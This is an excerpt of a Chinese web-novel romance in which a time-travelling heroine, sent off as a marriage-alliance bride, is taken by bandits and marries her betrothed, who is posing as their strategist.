《和亲路上被未婚夫抢回去了》 1. 替嫁 《和亲路上被未婚夫抢回去了》全本免费阅读 “小姐,先把药吃了。” 姜令仪只觉眼皮沉重,耳边是小丫鬟颤着的嗓音,模模糊糊能感觉到自己被喂了一颗药,也不知是什么成分的药材,对不对症。 还不如让她安安生生去地府报道呢,这都是什么开局啊。 “水……”姜令仪把担忧搁置一旁,先把火烧似的嗓子安抚一下吧。 话音刚落,姜令仪就被扶起来喂了几口水,她缓了缓,身上也有了几分力气,不像前几日连手都抬不起来。 “怎么回事儿?这几天的药方换了吗?”姜令仪有些惊讶,她现在前所未有的精神,连赶路的疲惫都肉眼可见的一点点消退,就像是吃了什么十全大补丸一样。 小玉看着还是有些担心:“小姐,老爷之前留下的药我给您吃了一颗。” 原来是她那未曾谋面的爹。 姜令仪打量了一下周围,除了身边这个年纪不大的小丫鬟,入目全是红彤彤一片。 手上还有着很明显的勒痕,她的皮肤很白,衬得腕子上红色的印子就更加瘆人了。 姜令仪没有管身上的伤,这些都是小事,当务之急还是先弄清楚她现在的处境,她这是要嫁人了? 原主本来是权臣姜尚的独女,在吴国,可以说连公主都比不上她的身份尊贵,除了皇帝和太子之外,就没有她不敢得罪的人。 后来她心慕吴国太子周明昱,求了她爹帮忙促成他们的婚事。 姜令仪虽然不同于时下贵女的端庄贤淑,但也是秀雅绝俗,她的家世足以配得上太子妃的位置,这本来是一桩美事。 可坏就坏在太子有自己喜欢的人,又不想要一个需得时时供着敬着的岳丈大人。 他这些年借着姜家的权势收拢了不少人,又联合那些看不惯姜家的人,一不做二不休地直接抄家了。 除了姜令仪,姜家三百八十六口人,全部都被砍头,就连隔房还在襁褓中的婴儿也未能幸免。 姜令仪还记得看押她的人是怎么说的。 “那菜市口的血啊,流都流不尽,仿佛天边都被染成红色的了。” 至于留下姜令仪,倒不是因为太子对她还有什么旧日情分。 吴国和晋国要加深联系,联姻是最好的法子,挑中的女子却正好是太子心仪之人。 无权无势沦为丧家之犬的姜令仪,可不就是最好的替嫁人选吗? 若不是因为和亲,说不定太子还会让她入东宫做个姬妾。 所以太子把她囚禁了起来,等到成亲的圣旨下来了,直接就把人送去和亲。 短短几天时间,姜令仪就遇到了这辈子最大的打击。 父亲惨死,爱的人却是豺狼,她还要被送去异国他乡,承受不住的娇小姐就这么去了,醒来就是从现代穿越而来的姜令仪。 姜令仪只不过是熬夜分析了一种物质,那很有可能是合成新材料的关键,她熬几天夜也是正常的吧。 怎么就穿越了呢? 没有时间再去回忆过去,知道了自己现在所处的境地,她也只能想法子自救了。 她穿越过来的时候就已经喝了药被关起来,只有小玉还在她身边伺候,这个小丫鬟虽然是爱哭了点,不过倒也忠心,是原主的爹专门为她选的武婢。 吴国是不能回去了,她自己也不可能避开这么多人逃走,而且现在的时局并不平稳,嫁去楚国也不一定能安定下来。 再说,谁知道她嫁的是人是狗,在这个出嫁从夫的年代,嫁了人基本上就定了以后的路,除非你成了寡妇再嫁一次。 姜令仪想着只能先跟送嫁的人套一套话,看看能不能找到更好的出路。 脑海里的各种想法也只是一瞬间的事情,走一步看一步吧。 还没等姜令仪实行自己的计划,就听到外面一阵厮杀声。 掀开轿帘露出一条缝,就看到前方一群人浩浩荡荡地冲了过来。 “不好,是燕山匪,快逃!” 下一秒,刚刚喊话的人脑袋就落了地,咕噜噜在地上转了两圈,眼睛直直地盯着轿子的方向,姜令仪甚至还能看到他眼里残留的惊惧。 从来没有见过死人的姜令仪差点尖叫出声,仿佛被烫到似的放下了帘子,深吸了一口气,好歹还是压下了恐惧。 护送她的人都毫不犹豫地开始逃命,姜令仪在骤然落地的轿子里尽量稳住身子,小玉也紧紧护着她,但还是不可避免地被磕碰到了。 她也不是没想着跟他们一起跑,但是为了表示对和亲的重视,吴国给她打扮的得很是华贵,怎么繁复怎么来,现在就是她想跑,估计没几步也就被抓回来了。 那还不如搏一搏。 定了定神,示意小玉不要冲动,她伸手掀开轿帘,挺直脊背走了出去。 “诸位可是求财?” 她的嗓音低柔,犹如金玉相击,所有人都望了过来,见她秀眉淡淡的蹙着,有一种我见犹怜的易碎感,但是声音却没有一丝害怕,定定地看向众人。 姜令仪的指甲深深地嵌在掌心里,面上却不显分毫,从容地和他们对峙:“如果是求财,这些嫁妆你们都拿走,但若是别的,恐怕你们燕山还承担不起吴晋两国的怒火。” 护送她的人死的死,逃的逃,现在连一个帮手都没有了。被一众凶神恶煞的大汉包围在一处,要说不害怕是不可能的。 但是越到这个时候越是不能露怯,她要是怕了,这些土匪才更会肆无忌惮地折辱她,还不如底气足一点,至少她还能保全一时。 风吹得她发间流苏轻颤,打破了此时的寂静。 “原来这就是军师要的人啊,小娘子,我们不伤你,但你也别想着走了。”领头的大汉笑道。 “是啊,怪不得军师还特意叮嘱我们不要伤人,这可真他娘的好看啊。” 他们都是粗人,形容不出是怎么个好看法,但要是世界上有仙女儿,估计也就是这个模样了吧。 “我们军师要你,你还是乖乖跟着回去吧。” 他们不知道什么两国怒火,那跟他们有什么关系? 说完不再理她,也没有限制她的行动,都兴致勃勃的去看她的嫁妆了。 姜令仪却轻轻舒了一口气,不管这个军师是个什么人,好歹这一关苟过去了。 只要不是现在立刻死了,总会有法子活下去的。 姜令仪提着裙子,跌跌撞撞地跟上他们的步子。 “小姐,奴婢背着您吧?”小玉的眼睛里全是担忧。 姜令仪看着她比自己还矮的小身板,坚定拒绝,她又不是什么奴役人的魔鬼。 这些山匪可不是能停下来等她的人,听他们的口气,那个军师的地位还挺高的,但是姜令仪也不敢把自己活命的希望全都寄托在别人身上。 趁着还没有累得狠了,姜令仪问那个领头人:“这位大哥,军师很厉害吗?” 路上正是无聊的时候,听到她这么问,不只是被问的人,就连旁边的人也愿意多说几句。 领头的,也就是燕山匪三当家,右手拍的胸口“砰砰”直响:“军师是一个读书人,但论起武功,我们没一个不服他的。” 后来根本不用她开口,这群人就把军师卖得干干净净,就连他不找女人,大当家的给他请大夫看诊都抖落出来了。 姜令仪唇角微抽。 她是军师第一次开口要的女人,不然就冲她的容貌,这些山匪也不会如此规矩。 山路崎岖,越走越偏僻,姜令仪早就没了说话的力气,只能一边儿听他们说话一边儿记下这里的路线。 他们口中的军师是在半个月前被掳上山的,他们寨子里缺读书人,大当家的就打算让他先当个文书。 哪知道在谈话过程中,他三言两语就说到大当家的心坎上了,他们两个相谈甚欢,大当家的不顾众 2. 眼熟 《和亲路上被未婚夫抢回去了》全本免费阅读 “小将军?怎么是你?你是这里的军师?”姜令仪有些不敢确定。 实在是太过惊讶,姜令仪的声音忍不住高了起来。 她想起来了,她在父亲书房里见过他的画像,虽然不能说一模一样吧,但也有八分相似了。 只是画像里的人,跟眼前人的神态大有不同,一个是英气勃勃的少年将军,一个却如出鞘的利剑,所以姜令仪才有些怀疑自己是不是认错人了。 姜令仪未曾注意到他的眼里掠过了一丝极浅的笑意,周身的冷漠融化了一角。 “我字怀信。”他的嗓音有些沙哑。 姜令仪听父亲说过他的字,但是他们又不太熟悉,直接叫字是不是有些太过亲昵了。 不过在这里叫小将军确实有些不太合适,便也随了他的意:“怀信。” 见到了自己认识的人,姜令仪不由自主地放松了一些,那些在路上想起来的记忆,此时也不断地在脑海里翻涌。 而且在和亲路上,她本来就有些不舒服,一直都紧紧绷着一根弦,现在一放松,她就有些撑不住了。 在彻底失去意识之前,她好像看到了上面那个人朝她走来的身影,听到了一声极轻极浅的叹息。 楚萧也没想到她会晕过去,不过也是,她一个姑娘家,经历了这么多事情,自然会撑不住的。 再加上他为了不让人怀疑他们两人认识,也就没有亲自去接人,上山的时候肯定受了不少罪。 楚萧叹了一口气,把她抱了起来。 其他人就见他们能文能武还特不好接近的军师大人,抱着刚进去不久的那个姑娘就出来了。 她可是才进去不到一盏茶的时间啊。 军师也太快了吧。 三当家的有些纠结,他们在路上说的给军师找大夫只不过是玩笑话,难道他一语成箴,现在真的要开始找了吗? 而且这姑娘是晕过去了吧。 军师到底是行还是不行啊? 这个问题也是燕山上所有人的疑问,不过大家都怕楚萧的冷脸,也没有人敢上去问问,就是最胆大的三当家也不敢。 他是莽,又不是傻。 凑上去问这个,那不是等着挨打吗? 姜令仪现在也不好受,她几乎是在梦里过完了原主的一生。 父亲对她如珠如宝的疼爱,肆意张扬的少女时光,无忧无虑直到少女情思的突然出现。 是真的突然,好像就是某一天,在见了太子之后就对他情根深种了。 “爹,我想嫁给太子。” “檀娘,为父早就为你定好了亲事,太子不是良配。” 也就是那时姜令仪看到的那张画像,她爹定下的亲事,居然就是楚萧。 她也不明白,为什么爹不看好太子,却又给了太子那么多的权力。 “怀信是你师伯的儿子,有他们护着你,可保你一生无忧。” “檀娘,记得带好你的霞帔坠。” “檀娘,好好活下去。” “檀娘。” …… “檀娘,檀娘……”有人轻声叫她的名字。 姜令仪仿佛又听到了她父亲的呼唤,眼泪止不住地往下掉,“爹,爹爹…….” 她睁开了眼睛,却只看到楚萧坐在她的床前。 楚萧来了有一会儿了,本来是找她商量回凉州的事情,没想到还没进门就听到她低低的啜泣。 也顾不得什么男女之别,楚萧进来就看到做着梦也是泪流满面的姑娘,她的脸色有些白,巴掌大的小脸上满是脆弱,眼泪顺着脸颊流下,枕头上已经湿了一片。 也不知道哭了多久。 怕她一直哭下去,楚萧只好把她叫醒。 姜令仪醒过来的时候,心里还是闷闷的钝痛,之前的记忆就像是雾里看花一般,那种感觉就像是作为一个旁观者在看别人的故事。 但是她在梦里仿佛是真真切切的过完了这十八年,这个世界也是她经历过的一切,而在现代的那些记忆,也不知道是庄周梦蝶,还是蝶梦庄周。 她就像是大病了一场,脸上没有丝毫血色,整个人都显得愈发柔弱,眼睫上的盈盈泪珠,更是让人凭空生出一股保护欲。 “檀娘,你可愿嫁我?”楚萧的声音很淡,但是仔细听,却能听出他的认真,“我们本来就有婚约的。” 楚萧自小就被告知有一个未婚妻,所以他从未想过会娶姜令仪以外的人,这将会是他的妻子,是与他荣辱与共的枕边人。 但他爹说还是要象征性问问的,那他就问一下。 姜令仪也不是没有想办法自救,她被囚禁起来之后也不知道谁是可信的,只让小玉去送了一封信。 她也不知道这封信会送去哪里,只是父亲曾说过如果她有什么困难都可以求助这个人,没想到这个人就是父亲的师兄。 他们师兄弟二人虽然效力于不同的国家,但是立场不同也没有影响他们的感情,甚至还是对方最信任的人。 临了临了,他还将女儿托付给了楚家。 姜令仪的信送出去之后,楚将军便让楚萧立刻启程去接媳妇去了,他随后写了个折子告知圣上原委,他看好的儿媳妇可不能跑了。 “如今还在热孝里,我们结婚了也能让父亲走得安心。”姜令仪答应了。 相传在热孝里可以结婚,那是为了能让放心不下的长辈无牵无挂地离开。 他们两个人是因为父母之命才决定成婚的,或许还有些移情作用。 姜令仪的父亲对楚萧赞不绝口,楚萧的父亲对姜令仪也是称赞不已。 两个老父亲恨不得把对方的孩子抢过来一起养,他们两个平日里也听多了对方的好话。 等到珍视的家人不在了,和一个他喜欢满意的人成婚也不错。 要是在晕倒之前,姜令仪或许会拒绝,就算她知道了婚约又怎么样,要不是万不得已,她不会和一个陌生人结婚的。 但是在经过这真真切切的十八年,亲身体验了那厚重如山海般的父爱之后,姜令仪怎么也说不出拒绝的话来。 她相信父亲的眼光,也相信父亲对她的爱。 也不知道楚萧是怎么在短短的时间里打听好送亲队伍的路线,又怎么跑到燕山当了军师的。 “你怎么会来燕山?”姜令仪的心情已经恢复了,忽略她微红的眼眶,任谁也看不出来她刚刚哭过一场。 楚萧摸了摸茶壶,温度正好,便倒了一杯水递给她。 “这样方便。”他简单解释道。 楚家军要是直接截人那就无异于是两国开战的信号了,楚萧自然不会这样做,借一下燕山匪的势刚刚好。 这样的举动倒是和以前父亲说过的性格有些像了。 她大抵知道一些这人的性格,和刚一见面时那冷漠的样子委实不像。 原以为是年纪大了性格也变了,但现在看来,有些地方他还是没怎么变的。 楚萧打开了门窗,这才又回来跟她说起凉州的事情:“凉州战乱频发,百姓太过艰难。” 他和他爹带的一帮人都是武将,打仗倒是个个在行,但要是处理一些琐事,他们恨不得一个个的都 3. 婚礼 《和亲路上被未婚夫抢回去了》全本免费阅读 既然接到了人,楚萧就打算带她离开:“等我们明天就找个借口离开。” 姜令仪的热孝都快过去了,未免路上耽搁,他们得抓紧时间赶紧回凉州的时间。 “委屈你了。”楚萧的声音有些沉。 在一个多月以前,他们两个如果要成亲,就算比不上帝后成婚的规模,那也差不离了。 可如今连休息的时间都不够,还得赶路回去,也不知道家里安排的怎么样了。 “别这么说,只要父亲会祝福我们,这就够了。” “嗯。” 楚萧想起她今日面如金纸倒下的时候还是有些心有余悸:“你的身子不太康健,等到了凉州,一定要好好锻炼。” 不爱运动的姜令仪:“到时候再说吧。” 她穿越过来之后就发现有了一个应该是她金手指的系统,她粗略看了一下,并没有发现这个有什么作用,遂作罢。 楚萧没有发现她抗拒的语气,反正现在说什么也太早了,还是得回到凉州再说。 姜令仪忽然想到自己嫁妆里的一些东西,忙问道:“你有带着自己的亲信吗?” 楚萧往外走的动作顿了下:“带着一小队人,怎么了?” 姜令仪还在细想自己看过一眼的那个嫁妆单子,只依稀记得有好几件是从皇帝私库里添上的,“我的嫁妆里有几个价值连城的宝贝,卖掉之后再发展凉州经济的时候就有本钱了。” 楚萧想也不想的拒绝:“那是你的嫁妆。” 姜令仪神色自若的反驳:“那是两国和亲的政治物资。” 看楚萧的脸色还是不大好看,姜令仪温声道:“难道小将军承认那是我的嫁妆?那可是我要嫁到晋国去的嫁妆。” 还真是,如果姜令仪真的和亲去了,嫁妆是她的没错,但是现在她可不是和亲的,他们两个的婚事是父母之命。 看楚萧开始犹豫,姜令仪又添了一把火:“还是小将军觉得我没有嫁妆嫁给你,你会低看了我?” 她的头微微垂下,作出一副伤心的样子。 楚萧:…… 不是,他没有这么说啊。 “是我不好。”他果断认错,“我马上通知人来拿最值钱的带走。” 楚萧说完就步履匆匆地打算出去了,又在门口停了下来:“以后你想要什么,我都为你寻来。” 这次是真的离开了。 姜令仪在看不到他的身影之后便笑出了声。 看着倒是挺难接近的,但是接触之后某些方面倒是意外的单纯,而且也听劝,还好哄。 姜令仪觉得他爹的眼光很不错,果然还是男人最了解男人吗? 一个姑娘端着热水走了进来:“姑娘,军师让我来给您送热水。” 这个姑娘也才十来岁的模样,姜令仪连忙把水接过来,这要是烫到了怎么办! “跟我一起来的丫鬟呢?”姜令仪没有看见小玉有些惊讶,那丫头可是恨不得二十四小时贴身跟着她。 “军师让她下山跑腿儿去了。” 想着小玉上山之后面不红气不喘的样子,姜令仪觉得自己可能是低估了她。 “我叫小桃。”小姑娘捂着嘴吃吃地笑:“军师说您既漂亮又善良,我以前从来不信世上还有这样的人,现在我信了。” 姜令仪才不信,就算相处的时间不长,她也知道楚萧不可能说出这样的话来。 她用毛巾拧了热水,简单地擦拭了一下:“是三当家他们说的吧?” 小桃的眉毛都快要飞到天上去了:“姐姐,你是怎么知道的,难道真的是天上下来的仙女儿?” 她一边说着,一边从兜里掏出了两个鸡蛋:“本来我还想留下一个自己吃,但是仙女肯定能发现的,我还是都给你吧。” 姜令仪心道他还挺细心,知道给自己送鸡蛋来缓解淤青。 她的淤青并不严重,用一个鸡蛋揉一揉也就散开了。 “给你,这是奖励不说谎的小朋友的。”姜令仪把剩下的那个鸡蛋给了她。 小桃惊喜地抬头:“那如果我告诉你,是三当家让我来问问军师到底行不行,用不用请大夫的,还能奖励我一个不?” 行不行? 她想到了上山的时候他们讨论过的话。 虽然她还不至于被这两句话问得羞恼,但让一个孩子来问就过了吧? 再说了,她怎么知道! 他们还要守三年的孝,准确地来说,是要守二十七个月的孝。 姜令仪用毛巾包着鸡蛋,在额头上轻轻打圈:“这话不许再说了,你告诉三当家,让他问你们军师去。” 小桃用牙慢慢地磨着鸡蛋:“好吧,就当是你给我鸡蛋的报酬了。” 小玉只是一个不起眼的丫鬟,所以她下山也不会有人阻拦,她也顺利地买回来了一些寻常换洗衣物,总不能让姜令仪一直穿着嫁衣吧。 婚礼又称昏礼,是在黄昏举行的,在阴阳交替之时,暗合天时之意。 姜令仪倒是没有觉得婚礼必须是热闹盛大的,他们成婚也并不是因为互生爱慕。 拒绝了画这个时代的新娘妆,她怕一会儿和楚萧跑路的时候,掀开盖头一看,还以为媳妇被掉包了呢。 不过她还是没有拒绝“开脸”,让她们用两根棉线把脸上细小的汗毛去干净。 旁边的一个小媳妇的语气带着些羡慕:“这可是军师紧赶慢赶送来的嫁衣,真好看。” 许是之前的一番话刺激到了楚萧,他现在可是恨不得把姜令仪身上里里外外的全都换掉。 这是他媳妇! 姜令仪坐在铜镜面前给自己细细上妆,她的肤色白,只需要修一下眉毛,抿一点胭脂花片,就显得整个人的精神气都上来了。 太复杂的就算了,这时候的妆容不防水,一会儿妆花了就不太好了,她可不想在路上一直顶着张大花脸。 “诶呦,新娘子可真真像是月亮上的那个女神仙。”给她绞面的大婶笑着说:“大娘给新婚夫人绞面几十年了,还没见过这么标志的模样。” 楚萧作为军师在这里的地位不低,屋子里来了不少人陪着姜令仪。 她们说的都是家长里短,谁家和谁家又打架了,谁家的儿子有出息了。 姜令仪也听得津津有味。 她生活的时代节奏很快,大家都很忙,像这种聚在一起说些平淡的小事,还真是她没有过的体验。 “来了来了,军师来接新娘子了。” 远处传来了小孩子嘻嘻哈哈的笑声,屋里的妇人也动了起来。 “快快快,盖头呢,快给新娘子盖上。” “绣鞋呢,快藏起来。” “诶呦,刚刚说的兴起,都忘了干正事了。” 看她们还在手忙脚乱地准备藏鞋,迎亲的人都要进门了,姜令仪无奈地笑了一下,伸手把鞋子藏在了裙摆底下。 边儿上的大娘把盖头一扬,稳稳地落在了她的头上。 几乎同时,楚萧就推开了门。 他穿着一袭大红色婚服,一支木簪把头发整整齐齐地束起,剑眉凤目,五官深邃,棱角分明,今日的喜气也把他身上的凶煞冲散了几分,倒是有了点儿养尊处优的贵公子模样。 到了姜令仪身前,他的气息明显更加的柔和,“檀娘,我来接你。” 旁边的人提醒道:“军师,要给新娘子穿鞋。” 这都是他们这边普通老百姓的习俗,要是在高门大户,哪里有这 4. 同床 《和亲路上被未婚夫抢回去了》全本免费阅读 姜令仪不太习惯叫他的字,又因为楚萧行二,所以日后就唤他二哥,也显得亲近些。 楚萧对此也没什么意见,名字只是称号,叫什么都无所谓。 今天的抢回来的东西可不算少,寨子里的人都在庆祝,就连望风的守卫也喝了不少酒,正是他们离开的好时机。 楚萧却道:“我与大当家说了,要陪你下山去买东西。” 所以不必准备的像是要逃亡一样。 姜令仪听出了他的意思。 但是,土匪头子这么相信他们的吗?连底细都没有查清楚就敢让人当军师,把人抢回来第二天就敢放走。 这不是胸有成竹就是脑子有坑啊! “这会不会有诈?” 楚萧摇摇头,“大当家的说那些嫁妆还是你的。” 或许是不觉得有人能放弃这么大一笔钱财,所以大当家对他们两个人很放心。 姜令仪也有些心疼,吴国太子和皇帝不当人,但是给她带走的嫁妆可不算少,毕竟这代表着国家的颜面。 不过这样一说姜令仪就理解了。 就像孙策献上玉玺作为抵押,骗了袁术的一支军队,才有了日后强大的东吴集团的基础。 现在他们不能和燕山匪正面抗衡,人数在这儿摆着呢,只能智取了。 嫁妆虽然令人眼馋,但他们也拿不走。 在把最值钱的东西都带走以后,用那些嫁妆换他们安稳地离开也算值了 钱嘛,总会有的。 不过,就算大当家的同意他们下山,难道不会派人盯着他们吗? 楚萧自然也早就想到这个问题了。 “不必担心,是二当家的派人跟着我们。” 他只说不必担心,却不说为什么,让姜令仪心里痒痒得很,连二人同床共枕的紧张感也没有了,总想着问他是怎么回事儿。 按理说二当家才是最看不惯他的人,怎么他却偏偏说二当家派人跟着就没事儿? 姜令仪脑子里想着事情就容易睡不着,要不然她也不会为了等一个结果分析就熬夜猝死了。 要是不告诉她答案,她能自己想到天亮。 楚萧紧闭双眼,呼吸均匀,睡觉的姿势就像是拿尺子量出来的一般,姜令仪防空自己的大脑,目光直直盯着楚萧。 他睡着的时候倒是比平时无害多了,白日里就算他努力做出一副平和的样子,眼底不时闪过的锋芒也足以令人心惊。 不像现在,他就好像是一个可以随意摆弄的大号娃娃,还是真人版的。 要不是理智还在的话,姜令仪甚至想伸手拽一拽他的睫毛,看看是不是假的。 用视线描摹着他的容貌,不知道什么时候就把脑子里的其他事情都忘了,只剩下眼前惑人的男色,不过一会儿她居然就这么睡过去了。 她的睡姿可不怎么好,姜令仪迷迷糊糊的想着。 等她呼吸绵长之后,她以为早就睡着的楚萧才侧头看了她一眼,眼神清明,一看就不是刚醒的样子。 楚萧在战场上早就练成了时刻警惕的习惯,不可能在她那么火辣辣的目光下还能睡得着,只不过是不知道该如何应对罢了。 楚萧不放心她和一个小丫鬟一起睡,这个山匪窝可以说是群狼环伺,她们两个姑娘家太危险了。 姜令仪对两个人盖着棉被纯聊天的情况倒是没有太多羞涩,没吃过猪肉也见过猪跑,只是躺在一张床上还不至于让她避之不及。 索性他们就睡在一起了,小玉歇在他们隔壁。 和自己即将明媒正娶的妻子同床共枕,光是想想就让楚萧头皮发麻,就只能睡觉。 睡着了,就什么也不知道了。 等耳根的热度降下去之后,他才又恢复了之前的姿势准备睡觉。 楚萧刚刚有了睡意,就感觉脖子上环了一条手臂。 要不是知道现在不可能有刺客来,楚萧都要下意识的反击了。 这是他的新婚妻子。 楚萧伸手把她的胳膊拿回去,下一秒,一条腿又跨在了他的腰间。 楚萧觉得他的新婚之夜估计得睁眼到天明了。 他从记事起就没有跟人睡一张床的经历,也就不知道别人的睡姿是不是都这般的……豪放。 姜令仪一觉醒来,只觉得神清气爽,身上的疲惫一扫而空,就是没看见旁边的人。 她倒是知道自己睡觉不老实的,以前一个人睡的时候,晚上头朝西,睡醒就头朝东了。 不过两个人一起睡,她应该不会也是这样吧。 “醒了?过来洗漱吧。”楚萧给她端来了一盆热水。 姜令仪一边穿鞋一边打量着他的神色,看起来不像是没睡好的样子,说话的底气就足了:“我晚上睡觉打扰到你了吗?” 楚萧奇怪的看了她一眼,原来她也知道自己睡相不好啊。 不过他还是说:“没有,我睡得挺好的。” 这也是实话,虽然一开始她总是动手动脚的,把她摆正之后没一会儿就又缠上来了,他也就懒得管了,习惯之后他没一会儿也就睡着了。 姜令仪还以为他的眼神是奇怪她为什么这么问,那看来自己的睡姿已经变好了? “咱们什么时候走?” 姜令仪擦了擦脸,昨天没有得到答案的问题又开始困扰她,恨不得让二当家赶紧把后招使出来,也让她知道楚萧到底是怎么安排的。 “不急,先吃饭,一会儿我去跟大当家告辞。” 大当家对他一直挺不错的,虽然他是被抢来的,但那也是他自己算计来的。 这要走了,怎么也要正式告辞。 大当家的长相很符合姜令仪对土匪的想象,和白日里见到的普通燕山匪不同,大当家身材魁梧,满脸横肉,让人第一眼看到就心生退意。 看到两人联袂而来,大当家脸上的笑容顿时亲切了很多,摆手让身边的人退下。 他细细打量了楚萧一番,满意点头道:“看来娶了婆娘就是不一样,军师今天看着就很精神。” 他也不是没成亲,这么多年了也没感觉到有没有媳妇有什么差别,更别说体会什么温柔乡了,他家母老虎还不得把他脑袋割下来当球踢?但是都说军师喜欢这姑娘喜欢得紧,为她破例了好多次,那闭眼夸他们两句准没错的了。 果然楚萧的脸色好看了很多,对着大当家拱了拱手:“大当家也算是我夫妻二人的媒人了,昨晚人多嘴杂不方便,所以今日特地 5. 唐夫人 《和亲路上被未婚夫抢回去了》全本免费阅读 而让姜令仪心心念念的大当家夫人,此时也正在说着和姜令仪有关的话题。 大当家夫人有一个很美的名字,在她嫁人之后,因着大当家叫唐冲,所以更多的人唤她唐夫人,至于李红袖这个名字,已经很久没人提过了。 唐夫人,应该说是李红袖,正听着小丫鬟们说军师大婚时的情景。 “夫人,军师娶的媳妇可真真是好看极了,咱们寨子里最标志的姑娘也不及她半分,难怪军师巴巴地要把人抢回来成婚呢。”丫鬟一边打着络子一边关注着李红袖,看她挑眉露出感兴趣的模样,就捡着听来的事情竹筒倒豆子一样说出来。 “听说军师对那姑娘紧张的很,亲自把人从屋子里抱出来呢,又是差人请大夫,又是亲自守在一旁等人醒过来,还亲自去下山买了结婚的东西。” “就是不知道为什么等人马上要醒了,军师又悄悄走了。” 小丫鬟是真的不明白,这时候不应该等到这姑娘醒过来,然后给自己表表功,接下来不就是互诉衷肠然后水到渠成的在一起了吗? 她之前听年长的姐姐们就是这样说的啊。 她不懂,李红袖这个已婚妇人可是不能再懂了。 这可不就是男人们莫名其妙的想法,总觉得自己做得事情自己知道就好,没必要让人知道。 不过没想到军师这样的人碰到喜欢的姑娘也会犯傻,就像是端坐云间的仙人忽然坠入凡尘,一下子有了烟火气儿,不是那么难以接近了。 她心情颇好的摇了摇头,最近压在心上的石头也松了松,或许军师这个人,是他们寨子的机遇呢。 不过再多的,还得等见一见军师的新婚妻子才能确定。 还没有见到人,多思多想也并没有太多用,李红袖放下了脑子里乱七八糟的想法,又捻了一颗酸杏子放到嘴里。 小丫鬟看着她津津有味的吃着酸杏子,感觉自己嘴里的口水的开始控制不住了,真的不酸吗? 李红袖完全没有觉得酸,甚至还觉得不太够味儿。 这里就跟一个大点儿的村子差不多,家家户户都是熟识的,就算是大当家住的地方,也不过是地方大一点,屋里的摆设和其他人家里也差不多,都是简朴的样子,并没有什么富丽堂皇的装饰。 这里自然也不会有人通报,姜令仪三人到了之后,小桃朝里面吆喝了一声就直接推开篱笆门进去了。 李红袖听到之后,伸向酸杏子碟子的手微微一顿便收了回来,目光还颇为不舍的看了两眼,剩下的只能送客之后再吃了。 小丫鬟也把手里的络子扔到了针线笸箩里,麻利的推门去迎他们,又叮嘱李红袖,“夫人您就不要起身了,小桃姐姐又不是不知道路。” 李红袖也没有拒绝,她毕竟年纪大了,身边的人对她的身子很紧张,她平日里也尽量会注意,免得他们时刻挂心,所以哪怕她对姜令仪很感兴趣,她也没有着急着去见人,现在人都来了,她更不差这一段路的时间了。 门口的距离并不远,等姜令仪一行人出现在李红袖眼前时,也堪堪不过是转眼的功夫。 “叨扰夫人了。”姜令仪微微福身,眼里含着歉意,“不知道夫人如今怀有身孕,贸然拜访实在是不应该。” 在进来的路上小丫鬟已经简单的解释过了,不是李红袖对她有意见,只是她现在刚刚怀孕实在是不太方便。 李红袖连连摆手,“快坐,我这年纪到底是大了些,大夫说前几个月还是小心些为好,不然我也不至于连你们的婚礼都参加不了。” 姜令仪在和李红袖交谈时就一直直视着对方的眼睛,两个人也都在互相打量对方。 出乎姜令仪的预料,李红袖并不是温柔如水的小女人,从她那双生机勃勃仿佛燃烧着光的眼睛里就能看出来,她并不是那种逆来顺受的人。 事实也正是如此,能稳稳当当坐着大当家夫人的位置,她可从来不是什么养在深闺的弱女子,不过在见到姜令仪的第一眼,她明显就有些心不在焉。 既然她沉默,姜令仪也没有贸然再开口,只是默默思量着对方的态度。 李红袖挥了挥手示意旁人出去,“你们几个出去玩儿吧,我和军师夫人说些私房话。” 小玉看向姜令仪,用眼神询问她的意思。 姜令仪略一点头,示意她不用担心,这里是大当家的地盘儿,虽然不知道大当家的夫人有什么话要说,但是可以肯定的是她没有必要为难姜令仪。 可饶是姜令仪短短几天就经历了诸多匪夷所思的事情,她也没有想到对方一句话就差点让她心神失守,“姜姑娘,令尊大人的名讳可是姜尚?” 姜令仪微微垂下眼帘,虽然心中翻江倒海的反复推敲自己到底哪里是露出了破绽,但是面上还是一派镇定,甚至还有一丝恰大好处的惊讶,“夫人是说吴国的姜大人?” 姜令仪说话的语气没有过多的熟稔,只是神态中却有着尊重,不管大当家夫人和姜尚是有恩还是有仇,她都能根据对方的态度把话圆下去。 若是有恩还好,最多是一个感人肺腑的故事加上双方真情吐露,说不定还能抱头痛哭怀念故人一番。 若是有仇,那姜令仪说不得就得败坏一下老父亲的名声以求和大当家夫人共鸣了。 姜尚和时下的文人可不一样,他从来不在乎自己的身前身后名,爱权势,他就努力往上爬;爱金钱,他就光明正大交换;爱女儿,他就恨不得把世间最好的东西放在她眼前供她任意挑选。 至于名声,那是什么东西,他甚至还得意洋洋的和姜令仪说过,他曾经为了坑自己的政敌,亲自下手写了自己的话本让人传唱,各种黑锅不要钱似的往自己头上扣,其内容之离谱让他的政敌受尽同僚们鄙视。 文人都有傲骨,他们明争暗斗没什么,但是让人写话本去大肆传播对家黑料就显得太小家子气了,那一段时间姜尚的人缘儿都好了很多,多的是人同情他惹到了一个小肚鸡肠的同僚。 故事最后,当然是姜尚名利双收,把对手气到吐血倒不至于,但是对方自请外放,至今再也没有踏入盛京一步了。 所以姜令仪对死去不久老爹的名声也不太在意,不过是和他势不两立罢了,她扒拉扒拉以前他爹炫耀的那些事迹,随便一个都能让故事主人公和他不死不休。 唯一麻烦的是,她爹似乎和大当家夫人没差几岁啊! 在姜令仪脑子里那些大逆不道到能让她爹气得掀开棺材板出来之前,李红 6. 令牌 《和亲路上被未婚夫抢回去了》全本免费阅读 姜令仪知道姜尚很厉害,但是没想到他能这么厉害。 在籍籍无名时,就能收复李家军,还得到了李家后人的认可。 恐怕当时的姜尚也曾不解于李将军的选择,如此昏庸的帝王,真的有必要对他肝脑涂地吗? 姜尚用几十年的时间告诉了自己答案。 他愚忠的,从来不是高坐于庙台之上的帝王。 姜令仪把玩着一枚小巧的令牌,想着李红袖把令牌拿给她时说的话。 “我敬佩父亲和姜大人。”李红袖的眼眶微红,“但是我不希望再有像他们这样的人去做无谓的牺牲了。” 李将军做出决定时,李红袖哭过、闹过、不解过、痛苦过,但是她改变不了李将军的决定,渐渐地,她也释然了。 如果她李家的家破人亡能换得国家平静,她也唯有接受这个结果。 她能怎么办呢? 但是谁能想到,几十年后李家的事情又同样发生在了姜家身上,仿佛是历史重演般的闹剧,李红袖只能眼睁睁的看着悲剧再次上演。 再一次,又有了一个和她同病相怜的可怜人。 这让她如何释怀呢? 李家撑了几十年,姜尚以一己之力又撑了几十年,但是他们的下场何其的相似! 这次又要用谁来撑几十年呢? 